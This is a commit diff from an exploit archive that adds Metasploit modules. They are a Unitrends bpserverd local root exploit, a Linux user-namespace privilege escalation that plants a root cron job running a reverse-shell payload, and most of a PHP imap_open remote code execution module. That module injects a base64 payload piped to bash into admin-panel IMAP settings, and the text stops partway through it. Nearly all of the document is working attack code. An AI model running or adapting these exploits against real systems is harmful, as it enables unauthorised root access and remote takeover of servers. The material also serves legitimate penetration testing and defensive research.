DB: 2018-11-30
8 changes to exploits/shellcodes WebKit JSC JIT - 'JSPropertyNameEnumerator' Type Confusion WebKit JIT - 'ByteCodeParser::handleIntrinsicCall' Type Confusion WebKit JSC - BytecodeGenerator::hoistSloppyModeFunctionIfNecessary Does not Invalidate the 'ForInContext' Object Unitrends Enterprise Backup - bpserverd Privilege Escalation (Metasploit) Linux - Nested User Namespace idmap Limit Local Privilege Escalation (Metasploit) Mac OS X - libxpc MITM Privilege Escalation (Metasploit) PHP imap_open - Remote Code Execution (Metasploit) TeamCity Agent - XML-RPC Command Execution (Metasploit)
This commit is contained in:
parent
dfd1e454e1
commit
62445895aa
9 changed files with 1751 additions and 0 deletions
159
exploits/linux/local/45913.rb
Executable file
159
exploits/linux/local/45913.rb
Executable file
|
@ -0,0 +1,159 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info, {
|
||||
'Name' => 'Unitrends Enterprise Backup bpserverd Privilege Escalation',
|
||||
'Description' => %q{
|
||||
It was discovered that the Unitrends bpserverd proprietary protocol, as exposed via xinetd,
|
||||
has an issue in which its authentication can be bypassed. A remote attacker could use this
|
||||
issue to execute arbitrary commands with root privilege on the target system.
|
||||
This is very similar to exploits/linux/misc/ueb9_bpserverd however it runs against the
|
||||
localhost by dropping a python script on the local file system. Unitrends stopped
|
||||
bpserverd from listening remotely on version 10.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Cale Smith', # @0xC413
|
||||
'Benny Husted', # @BennyHusted
|
||||
'Jared Arave', # @iotennui
|
||||
'h00die' # msf adaptations
|
||||
],
|
||||
'DisclosureDate' => 'Mar 14 2018',
|
||||
'Platform' => 'linux',
|
||||
'Arch' => [ARCH_X86],
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://support.unitrends.com/UnitrendsBackup/s/article/000005691'],
|
||||
['URL', 'http://blog.redactedsec.net/exploits/2018/04/20/UEB9_tcp.html'],
|
||||
['EDB', '44297'],
|
||||
['CVE', '2018-6329']
|
||||
],
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'UEB <= 10.0', { } ]
|
||||
],
|
||||
'DefaultOptions' => { 'PrependFork' => true, 'WfsDelay' => 2 },
|
||||
'SessionTypes' => ['shell', 'meterpreter'],
|
||||
'DefaultTarget' => 0
|
||||
}
|
||||
))
|
||||
register_advanced_options([
|
||||
OptString.new("WritableDir", [true, "A directory where we can write files", "/tmp"]),
|
||||
OptInt.new("BPSERVERDPORT", [true, "Port bpserverd is running on", 1743])
|
||||
])
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
||||
pl = generate_payload_exe
|
||||
exe_path = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric 5..10}"
|
||||
print_status("Writing payload executable to '#{exe_path}'")
|
||||
|
||||
write_file(exe_path, pl)
|
||||
#register_file_for_cleanup(exe_path)
|
||||
|
||||
pe_script = %Q{
|
||||
import socket
|
||||
import binascii
|
||||
import struct
|
||||
import time
|
||||
import sys
|
||||
|
||||
RHOST = '127.0.0.1'
|
||||
XINETDPORT = #{datastore['BPSERVERDPORT']}
|
||||
cmd = "#{exe_path}"
|
||||
|
||||
def recv_timeout(the_socket,timeout=2):
|
||||
the_socket.setblocking(0)
|
||||
total_data=[];data='';begin=time.time()
|
||||
while 1:
|
||||
#if you got some data, then break after wait sec
|
||||
if total_data and time.time()-begin>timeout:
|
||||
break
|
||||
#if you got no data at all, wait a little longer
|
||||
elif time.time()-begin>timeout*2:
|
||||
break
|
||||
try:
|
||||
data=the_socket.recv(8192)
|
||||
if data:
|
||||
total_data.append(data)
|
||||
begin=time.time()
|
||||
else:
|
||||
time.sleep(0.1)
|
||||
except:
|
||||
pass
|
||||
return ''.join(total_data)
|
||||
|
||||
print "[+] attempting to connect to xinetd on {0}:{1}".format(RHOST, str(XINETDPORT))
|
||||
|
||||
try:
|
||||
s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s1.connect((RHOST,XINETDPORT))
|
||||
except:
|
||||
print "[!] Failed to connect!"
|
||||
exit()
|
||||
|
||||
data = s1.recv(4096)
|
||||
bpd_port = int(data[-8:-3])
|
||||
|
||||
try:
|
||||
pass
|
||||
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s2.connect((RHOST, bpd_port))
|
||||
except:
|
||||
print "[!] Failed to connect!"
|
||||
s1.close()
|
||||
exit()
|
||||
|
||||
print "[+] Connected! Sending the following cmd to {0}:{1}".format(RHOST,str(XINETDPORT))
|
||||
print "[+] '{0}'".format(cmd)
|
||||
|
||||
cmd_len = chr(len(cmd) + 3)
|
||||
packet_len = chr(len(cmd) + 23)
|
||||
|
||||
#https://github.com/rapid7/metasploit-framework/blob/76954957c740525cff2db5a60bcf936b4ee06c42/modules/exploits/linux/misc/ueb9_bpserverd.rb#L72
|
||||
packet = '\\xa5\\x52\\x00\\x2d'
|
||||
packet += '\\x00' * 3
|
||||
packet += packet_len
|
||||
packet += '\\x00' * 3
|
||||
packet += '\\x01'
|
||||
packet += '\\x00' * 3
|
||||
packet += '\\x4c'
|
||||
packet += '\\x00' * 3
|
||||
packet += cmd_len
|
||||
packet += cmd
|
||||
packet += '\\x00' * 3
|
||||
|
||||
s1.send(packet)
|
||||
|
||||
data = recv_timeout(s2)
|
||||
|
||||
print data
|
||||
|
||||
s1.close()
|
||||
}
|
||||
|
||||
pes_path = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric 5..10}"
|
||||
print_status("Writing privesc script to '#{pes_path}'")
|
||||
|
||||
write_file(pes_path, pe_script)
|
||||
#register_file_for_cleanup(pes_path)
|
||||
|
||||
print_status("Fixing permissions")
|
||||
cmd_exec("chmod +x #{exe_path} #{pes_path}")
|
||||
|
||||
vprint_status cmd_exec("python #{pes_path} -c '#{exe_path}'")
|
||||
end
|
||||
|
||||
end
|
228
exploits/linux/local/45915.rb
Executable file
228
exploits/linux/local/45915.rb
Executable file
|
@ -0,0 +1,228 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = GreatRanking
|
||||
|
||||
include Msf::Post::Linux::Priv
|
||||
include Msf::Post::Linux::System
|
||||
include Msf::Post::Linux::Kernel
|
||||
include Msf::Post::File
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Linux Nested User Namespace idmap Limit Local Privilege Escalation',
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability in Linux kernels 4.15.0 to 4.18.18,
|
||||
and 4.19.0 to 4.19.1, where broken uid/gid mappings between nested user
|
||||
namespaces and kernel uid/gid mappings allow elevation to root
|
||||
(CVE-2018-18955).
|
||||
|
||||
The target system must have unprivileged user namespaces enabled and
|
||||
the newuidmap and newgidmap helpers installed (from uidmap package).
|
||||
|
||||
This module has been tested successfully on:
|
||||
|
||||
Fedora Workstation 28 kernel 4.16.3-301.fc28.x86_64;
|
||||
Kubuntu 18.04 LTS kernel 4.15.0-20-generic (x86_64);
|
||||
Linux Mint 19 kernel 4.15.0-20-generic (x86_64);
|
||||
Ubuntu Linux 18.04.1 LTS kernel 4.15.0-20-generic (x86_64).
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Jann Horn', # Discovery and exploit
|
||||
'bcoles' # Metasploit
|
||||
],
|
||||
'DisclosureDate' => 'Nov 15 2018',
|
||||
'Platform' => ['linux'],
|
||||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
'SessionTypes' => ['shell', 'meterpreter'],
|
||||
'Targets' => [['Auto', {}]],
|
||||
'Privileged' => true,
|
||||
'References' =>
|
||||
[
|
||||
['BID', '105941'],
|
||||
['CVE', '2018-18955'],
|
||||
['EDB', '45886'],
|
||||
['PACKETSTORM', '150381'],
|
||||
['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1712'],
|
||||
['URL', 'https://github.com/bcoles/kernel-exploits/tree/master/CVE-2018-18955'],
|
||||
['URL', 'https://lwn.net/Articles/532593/'],
|
||||
['URL', 'https://bugs.launchpad.net/bugs/1801924'],
|
||||
['URL', 'https://people.canonical.com/~ubuntu-security/cve/CVE-2018-18955'],
|
||||
['URL', 'https://security-tracker.debian.org/tracker/CVE-2018-18955'],
|
||||
['URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=d2f007dbe7e4c9583eea6eb04d60001e85c6f1bd'],
|
||||
['URL', 'https://cdn.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.18.19'],
|
||||
['URL', 'https://cdn.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.19.2']
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'AppendExit' => true,
|
||||
'PrependSetresuid' => true,
|
||||
'PrependSetreuid' => true,
|
||||
'PrependSetuid' => true,
|
||||
'PrependFork' => true,
|
||||
'WfsDelay' => 60,
|
||||
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'
|
||||
},
|
||||
'Notes' =>
|
||||
{
|
||||
'AKA' => ['subuid_shell.c']
|
||||
}
|
||||
))
|
||||
register_options [
|
||||
OptEnum.new('COMPILE', [true, 'Compile on target', 'Auto', %w[Auto True False]])
|
||||
]
|
||||
register_advanced_options [
|
||||
OptBool.new('ForceExploit', [false, 'Override check result', false]),
|
||||
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
|
||||
]
|
||||
end
|
||||
|
||||
def base_dir
|
||||
datastore['WritableDir'].to_s
|
||||
end
|
||||
|
||||
def upload(path, data)
|
||||
print_status "Writing '#{path}' (#{data.size} bytes) ..."
|
||||
rm_f path
|
||||
write_file path, data
|
||||
register_file_for_cleanup path
|
||||
end
|
||||
|
||||
def upload_and_chmodx(path, data)
|
||||
upload path, data
|
||||
chmod path
|
||||
end
|
||||
|
||||
def upload_and_compile(path, data)
|
||||
upload "#{path}.c", data
|
||||
|
||||
gcc_cmd = "gcc -o #{path} #{path}.c"
|
||||
if session.type.eql? 'shell'
|
||||
gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"
|
||||
end
|
||||
output = cmd_exec gcc_cmd
|
||||
|
||||
unless output.blank?
|
||||
print_error output
|
||||
fail_with Failure::Unknown, "#{path}.c failed to compile. Set COMPILE False to upload a pre-compiled executable."
|
||||
end
|
||||
|
||||
register_file_for_cleanup path
|
||||
chmod path, 0755
|
||||
end
|
||||
|
||||
def exploit_data(file)
|
||||
::File.binread ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2018-18955', file)
|
||||
end
|
||||
|
||||
def live_compile?
|
||||
return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')
|
||||
|
||||
if has_gcc?
|
||||
vprint_good 'gcc is installed'
|
||||
return true
|
||||
end
|
||||
|
||||
unless datastore['COMPILE'].eql? 'Auto'
|
||||
fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.'
|
||||
end
|
||||
end
|
||||
|
||||
def check
|
||||
unless userns_enabled?
|
||||
vprint_error 'Unprivileged user namespaces are not permitted'
|
||||
return CheckCode::Safe
|
||||
end
|
||||
vprint_good 'Unprivileged user namespaces are permitted'
|
||||
|
||||
['/usr/bin/newuidmap', '/usr/bin/newgidmap'].each do |path|
|
||||
unless setuid? path
|
||||
vprint_error "#{path} is not set-uid"
|
||||
return CheckCode::Safe
|
||||
end
|
||||
vprint_good "#{path} is set-uid"
|
||||
end
|
||||
|
||||
# Patched in 4.18.19 and 4.19.2
|
||||
release = kernel_release
|
||||
v = Gem::Version.new release.split('-').first
|
||||
if v < Gem::Version.new('4.15') ||
|
||||
v >= Gem::Version.new('4.19.2') ||
|
||||
(v >= Gem::Version.new('4.18.19') && v < Gem::Version.new('4.19'))
|
||||
vprint_error "Kernel version #{release} is not vulnerable"
|
||||
return CheckCode::Safe
|
||||
end
|
||||
vprint_good "Kernel version #{release} appears to be vulnerable"
|
||||
|
||||
CheckCode::Appears
|
||||
end
|
||||
|
||||
def on_new_session(session)
|
||||
if session.type.to_s.eql? 'meterpreter'
|
||||
session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'
|
||||
session.sys.process.execute '/bin/sh', "-c \"/bin/sed -i '\$ d' /etc/crontab\""
|
||||
else
|
||||
session.shell_command("/bin/sed -i '\$ d' /etc/crontab")
|
||||
end
|
||||
ensure
|
||||
super
|
||||
end
|
||||
|
||||
def exploit
|
||||
unless check == CheckCode::Appears
|
||||
unless datastore['ForceExploit']
|
||||
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
|
||||
end
|
||||
print_warning 'Target does not appear to be vulnerable'
|
||||
end
|
||||
|
||||
if is_root?
|
||||
unless datastore['ForceExploit']
|
||||
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
|
||||
end
|
||||
end
|
||||
|
||||
unless writable? base_dir
|
||||
fail_with Failure::BadConfig, "#{base_dir} is not writable"
|
||||
end
|
||||
|
||||
# Upload executables
|
||||
subuid_shell_name = ".#{rand_text_alphanumeric 5..10}"
|
||||
subuid_shell_path = "#{base_dir}/#{subuid_shell_name}"
|
||||
subshell_name = ".#{rand_text_alphanumeric 5..10}"
|
||||
subshell_path = "#{base_dir}/#{subshell_name}"
|
||||
if live_compile?
|
||||
vprint_status 'Live compiling exploit on system...'
|
||||
upload_and_compile subuid_shell_path, exploit_data('subuid_shell.c')
|
||||
upload_and_compile subshell_path, exploit_data('subshell.c')
|
||||
else
|
||||
vprint_status 'Dropping pre-compiled exploit on system...'
|
||||
upload_and_chmodx subuid_shell_path, exploit_data('subuid_shell.out')
|
||||
upload_and_chmodx subshell_path, exploit_data('subshell.out')
|
||||
end
|
||||
|
||||
# Upload payload executable
|
||||
payload_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}"
|
||||
upload_and_chmodx payload_path, generate_payload_exe
|
||||
|
||||
# Launch exploit
|
||||
print_status 'Adding cron job...'
|
||||
output = cmd_exec "echo \"echo '* * * * * root #{payload_path}' >> /etc/crontab\" | #{subuid_shell_path} #{subshell_path} "
|
||||
output.each_line { |line| vprint_status line.chomp }
|
||||
|
||||
crontab = read_file '/etc/crontab'
|
||||
unless crontab.include? payload_path
|
||||
fail_with Failure::Unknown, 'Failed to add cronjob'
|
||||
end
|
||||
|
||||
print_good 'Success. Waiting for job to run (may take a minute)...'
|
||||
end
|
||||
end
|
467
exploits/linux/remote/45914.rb
Executable file
467
exploits/linux/remote/45914.rb
Executable file
|
@ -0,0 +1,467 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = GoodRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'php imap_open Remote Code Execution',
|
||||
'Description' => %q{
|
||||
The imap_open function within php, if called without the /norsh flag, will attempt to preauthenticate an
|
||||
IMAP session. On Debian based systems, including Ubuntu, rsh is mapped to the ssh binary. Ssh's ProxyCommand
|
||||
option can be passed from imap_open to execute arbitrary commands.
|
||||
While many custom applications may use imap_open, this exploit works against the following applications:
|
||||
e107 v2, prestashop, SuiteCRM, as well as Custom, which simply prints the exploit strings for use.
|
||||
Prestashop exploitation requires the admin URI, and administrator credentials.
|
||||
suiteCRM/e107/hostcms require administrator credentials.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Anton Lopanitsyn', # Vulnerability discovery and PoC
|
||||
'Twoster', # Vulnerability discovery and PoC
|
||||
'h00die' # Metasploit Module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'https://web.archive.org/web/20181118213536/https://antichat.com/threads/463395' ],
|
||||
[ 'URL', 'https://github.com/Bo0oM/PHP_imap_open_exploit' ],
|
||||
[ 'EDB', '45865'],
|
||||
[ 'URL', 'https://bugs.php.net/bug.php?id=76428'],
|
||||
[ 'CVE', '2018-19518']
|
||||
],
|
||||
'Privileged' => false,
|
||||
'Platform' => [ 'unix' ],
|
||||
'Arch' => ARCH_CMD,
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'prestashop', {} ],
|
||||
[ 'suitecrm', {}],
|
||||
[ 'e107v2', {'WfsDelay' => 90}], # may need to wait for cron
|
||||
[ 'custom', {'WfsDelay' => 300}]
|
||||
],
|
||||
'PrependFork' => true,
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'PAYLOAD' => 'cmd/unix/reverse_netcat',
|
||||
'WfsDelay' => 120
|
||||
},
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Oct 23 2018'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [ true, "Base directory path", '/admin2769gx8k3']),
|
||||
OptString.new('USERNAME', [ false, "Username to authenticate with", '']),
|
||||
OptString.new('PASSWORD', [ false, "Password to authenticate with", ''])
|
||||
])
|
||||
end
|
||||
|
||||
def check
|
||||
if target.name =~ /prestashop/
|
||||
uri = normalize_uri(target_uri.path)
|
||||
res = send_request_cgi({'uri' => uri})
|
||||
if res && (res.code == 301 || res.code == 302)
|
||||
return CheckCode::Detected
|
||||
end
|
||||
elsif target.name =~ /suitecrm/
|
||||
#login page GET /index.php?action=Login&module=Users
|
||||
vprint_status('Loading login page')
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'index.php'),
|
||||
'vars_get' => {
|
||||
'action' => 'Login',
|
||||
'module' => 'Users'
|
||||
}
|
||||
)
|
||||
unless res
|
||||
print_error('Error loading site. Check options.')
|
||||
return
|
||||
end
|
||||
|
||||
if res.code = 200
|
||||
return CheckCode::Detected
|
||||
end
|
||||
end
|
||||
CheckCode::Safe
|
||||
end
|
||||
|
||||
def command(spaces='$IFS$()')
|
||||
#payload is base64 encoded, and stuffed into the SSH option.
|
||||
enc_payload = Rex::Text.encode_base64(payload.encoded)
|
||||
command = "-oProxyCommand=`echo #{enc_payload}|base64 -d|bash`"
|
||||
#final payload can not contain spaces, however $IFS$() will return the space we require
|
||||
command.gsub!(' ', spaces)
|
||||
end
|
||||
|
||||
def exploit
|
||||
if target.name =~ /prestashop/
|
||||
uri = normalize_uri(target_uri.path)
|
||||
res = send_request_cgi({'uri' => uri})
|
||||
if res && res.code != 301
|
||||
print_error('Admin redirect not found, check URI. Should be something similar to /admin2769gx8k3')
|
||||
return
|
||||
end
|
||||
|
||||
#There are a bunch of redirects that happen, so we automate going through them to get to the login page.
|
||||
while res.code == 301 || res.code == 302
|
||||
cookie = res.get_cookies
|
||||
uri = res.headers['Location']
|
||||
vprint_status("Redirected to #{uri}")
|
||||
res = send_request_cgi({'uri' => uri})
|
||||
end
|
||||
|
||||
#Tokens are generated for each URL or sub-component, we need valid ones!
|
||||
/.*token=(?<token>\w{32})/ =~ uri
|
||||
/id="redirect" value="(?<redirect>.*)"\/>/ =~ res.body
|
||||
cookie = res.get_cookies
|
||||
|
||||
unless token && redirect
|
||||
print_error('Unable to find token and redirect URL, check options.')
|
||||
return
|
||||
end
|
||||
|
||||
vprint_status("Token: #{token} and Login Redirect: #{redirect}")
|
||||
print_status("Logging in with #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'index.php'),
|
||||
'cookie' => cookie,
|
||||
'vars_post' => {
|
||||
'ajax' => 1,
|
||||
'token' => '',
|
||||
'controller' => 'AdminLogin',
|
||||
'submitLogin' => '1',
|
||||
'passwd' => datastore['PASSWORD'],
|
||||
'email' => datastore['USERNAME'],
|
||||
'redirect' => redirect
|
||||
},
|
||||
'vars_get' => {
|
||||
'rand' => '1542582364810' #not sure if this will hold true forever, I didn't see where it is being generated
|
||||
}
|
||||
)
|
||||
if res && res.body.include?('Invalid password')
|
||||
print_error('Invalid Login')
|
||||
return
|
||||
end
|
||||
vprint_status("Login JSON Response: #{res.body}")
|
||||
uri = JSON.parse(res.body)['redirect']
|
||||
cookie = res.get_cookies
|
||||
print_good('Login Success, loading admin dashboard to pull tokens')
|
||||
res = send_request_cgi({'uri' => uri, 'cookie' => cookie})
|
||||
|
||||
/AdminCustomerThreads&token=(?<token>\w{32})/ =~ res.body
|
||||
vprint_status("Customer Threads Token: #{token}")
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'index.php'),
|
||||
'cookie' => cookie,
|
||||
'vars_get' => {
|
||||
'controller' => 'AdminCustomerThreads',
|
||||
'token' => token
|
||||
}
|
||||
})
|
||||
|
||||
/form method="post" action="index\.php\?controller=AdminCustomerThreads&token=(?<token>\w{32})/ =~ res.body
|
||||
print_good("Sending Payload with Final Token: #{token}")
|
||||
data = Rex::MIME::Message.new
|
||||
data.add_part('1', nil, nil, 'form-data; name="PS_CUSTOMER_SERVICE_FILE_UPLOAD"')
|
||||
data.add_part("Dear Customer,\n\nRegards,\nCustomer service", nil, nil, 'form-data; name="PS_CUSTOMER_SERVICE_SIGNATURE_1"')
|
||||
data.add_part("x #{command}}", nil, nil, 'form-data; name="PS_SAV_IMAP_URL"')
|
||||
data.add_part('143', nil, nil, 'form-data; name="PS_SAV_IMAP_PORT"')
|
||||
data.add_part(Rex::Text.rand_text_alphanumeric(8), nil, nil, 'form-data; name="PS_SAV_IMAP_USER"')
|
||||
data.add_part(Rex::Text.rand_text_alphanumeric(8), nil, nil, 'form-data; name="PS_SAV_IMAP_PWD"')
|
||||
data.add_part('0', nil, nil, 'form-data; name="PS_SAV_IMAP_DELETE_MSG"')
|
||||
data.add_part('0', nil, nil, 'form-data; name="PS_SAV_IMAP_CREATE_THREADS"')
|
||||
data.add_part('0', nil, nil, 'form-data; name="PS_SAV_IMAP_OPT_POP3"')
|
||||
data.add_part('0', nil, nil, 'form-data; name="PS_SAV_IMAP_OPT_NORSH"')
|
||||
data.add_part('0', nil, nil, 'form-data; name="PS_SAV_IMAP_OPT_SSL"')
|
||||
data.add_part('0', nil, nil, 'form-data; name="PS_SAV_IMAP_OPT_VALIDATE-CERT"')
|
||||
data.add_part('0', nil, nil, 'form-data; name="PS_SAV_IMAP_OPT_NOVALIDATE-CERT"')
|
||||
data.add_part('0', nil, nil, 'form-data; name="PS_SAV_IMAP_OPT_TLS"')
|
||||
data.add_part('0', nil, nil, 'form-data; name="PS_SAV_IMAP_OPT_NOTLS"')
|
||||
data.add_part('', nil, nil, 'form-data; name="submitOptionscustomer_thread"')
|
||||
|
||||
send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'index.php'),
|
||||
'ctype' => "multipart/form-data; boundary=#{data.bound}",
|
||||
'data' => data.to_s,
|
||||
'cookie' => cookie,
|
||||
'vars_get' => {
|
||||
'controller' => 'AdminCustomerThreads',
|
||||
'token' => token
|
||||
}
|
||||
)
|
||||
print_status('IMAP server change left on server, manual revert required.')
|
||||
|
||||
if res && res.body.include?('imap Is Not Installed On This Server')
|
||||
print_error('PHP IMAP mod not installed/enabled ')
|
||||
end
|
||||
elsif target.name =~ /suitecrm/
|
||||
#login page GET /index.php?action=Login&module=Users
|
||||
vprint_status('Loading login page')
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'index.php'),
|
||||
'vars_get' => {
|
||||
'action' => 'Login',
|
||||
'module' => 'Users'
|
||||
}
|
||||
)
|
||||
unless res
|
||||
print_error('Error loading site. Check options.')
|
||||
return
|
||||
end
|
||||
|
||||
if res.code = 200
|
||||
cookie = res.get_cookies
|
||||
else
|
||||
print_error("HTTP code #{res.code} found, check options.")
|
||||
return
|
||||
end
|
||||
|
||||
vprint_status("Logging in as #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'index.php'),
|
||||
'cookie' => cookie,
|
||||
'vars_post' => {
|
||||
'module' => 'Users',
|
||||
'action' => 'Authenticate',
|
||||
'return_module' => 'Users',
|
||||
'return_action' => 'Login',
|
||||
'cant_login' => '',
|
||||
'login_module' => '',
|
||||
'login_action' => '',
|
||||
'login_record' => '',
|
||||
'login_token' => '',
|
||||
'login_oauth_token' => '',
|
||||
'login_mobile' => '',
|
||||
'user_name' => datastore['USERNAME'],
|
||||
'username_password' => datastore['PASSWORD'],
|
||||
'Login' => 'Log+In'
|
||||
}
|
||||
)
|
||||
unless res
|
||||
print_error('Error loading site. Check options.')
|
||||
return
|
||||
end
|
||||
|
||||
if res.code = 302
|
||||
cookie = res.get_cookies
|
||||
print_good('Login Success')
|
||||
else
|
||||
print_error('Failed Login, check options.')
|
||||
end
|
||||
|
||||
#load the email settings page to get the group_id
|
||||
vprint_status('Loading InboundEmail page')
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'index.php'),
|
||||
'cookie' => cookie,
|
||||
'vars_get' => {
|
||||
'module' => 'InboundEmail',
|
||||
'action' => 'EditView'
|
||||
}
|
||||
)
|
||||
|
||||
unless res
|
||||
print_error('Error loading site.')
|
||||
return
|
||||
end
|
||||
|
||||
/"group_id" value="(?<group_id>\w{8}-\w{4}-\w{4}-\w{4}-\w{12})">/ =~ res.body
|
||||
|
||||
unless group_id
|
||||
print_error('Could not identify group_id from form page')
|
||||
return
|
||||
end
|
||||
|
||||
print_good("Sending payload with group_id #{group_id}")
|
||||
|
||||
referer = "http://#{datastore['RHOST']}#{normalize_uri(target_uri.path, 'index.php')}?module=InboundEmail&action=EditView"
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'index.php'),
|
||||
'cookie' => cookie,
|
||||
#required to prevent CSRF protection from triggering
|
||||
'headers' => { 'Referer' => referer},
|
||||
'vars_post' => {
|
||||
'module' => 'InboundEmail',
|
||||
'record' => '',
|
||||
'origin_id' => '',
|
||||
'isDuplicate' => 'false',
|
||||
'action' => 'Save',
|
||||
'group_id' => group_id,
|
||||
'return_module' => '',
|
||||
'return_action' => '',
|
||||
'return_id' => '',
|
||||
'personal' => '',
|
||||
'searchField' => '',
|
||||
'mailbox_type' => '',
|
||||
'button' => ' Save ',
|
||||
'name' => Rex::Text.rand_text_alphanumeric(8),
|
||||
'status' => 'Active',
|
||||
'server_url' => "x #{command}}",
|
||||
'email_user' => Rex::Text.rand_text_alphanumeric(8),
|
||||
'protocol' => 'imap',
|
||||
'email_password' => Rex::Text.rand_text_alphanumeric(8),
|
||||
'port' => '143',
|
||||
'mailbox' => 'INBOX',
|
||||
'trashFolder' => 'TRASH',
|
||||
'sentFolder' => '',
|
||||
'from_name' => Rex::Text.rand_text_alphanumeric(8),
|
||||
'is_auto_import' => 'on',
|
||||
'from_addr' => "#{Rex::Text.rand_text_alphanumeric(8)}@#{Rex::Text.rand_text_alphanumeric(8)}.org",
|
||||
'reply_to_name' => '',
|
||||
'distrib_method' => 'AOPDefault',
|
||||
'distribution_user_name' => '',
|
||||
'distribution_user_id' => '',
|
||||
'distribution_options[0]' => 'all',
|
||||
'distribution_options[1]' => '',
|
||||
'distribution_options[2]' => '',
|
||||
'create_case_template_id' => '',
|
||||
'reply_to_addr' => '',
|
||||
'template_id' => '',
|
||||
'filter_domain' => '',
|
||||
'email_num_autoreplies_24_hours' => '10',
|
||||
'leaveMessagesOnMailServer' => '1'
|
||||
}
|
||||
)
|
||||
if res && res.code == 200
|
||||
print_error('Triggered CSRF protection, may try exploitation manually.')
|
||||
end
|
||||
print_status('IMAP server config left on server, manual removal required.')
|
||||
elsif target.name =~ /e107v2/
|
||||
# e107 has an encoder which prevents $IFS$() from being used as $ = $
|
||||
# \t also became /t, however "\t" does seem to work.
|
||||
|
||||
# e107 also uses a cron job to check bounce jobs, which may not be active.
|
||||
# either cron can be disabled, or bounce checks disabled, so we try to
|
||||
# kick the process manually, however if it doesn't work we'll hope
|
||||
# cron is running and we get a call back anyways.
|
||||
|
||||
vprint_status("Logging in as #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'e107_admin', 'admin.php'),
|
||||
'vars_post' => {
|
||||
'authname' => datastore['USERNAME'],
|
||||
'authpass' => datastore['PASSWORD'],
|
||||
'authsubmit' => 'Log In'
|
||||
})
|
||||
unless res
|
||||
print_error('Error loading site. Check options.')
|
||||
return
|
||||
end
|
||||
|
||||
if res.code == 302
|
||||
cookie = res.get_cookies
|
||||
print_good('Login Success')
|
||||
else
|
||||
print_error('Failed Login, check options.')
|
||||
end
|
||||
|
||||
|
||||
vprint_status('Checking if Cron is enabled for triggering')
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'e107_admin', 'cron.php'),
|
||||
'cookie' => cookie
|
||||
)
|
||||
unless res
|
||||
print_error('Error loading site. Check options.')
|
||||
return
|
||||
end
|
||||
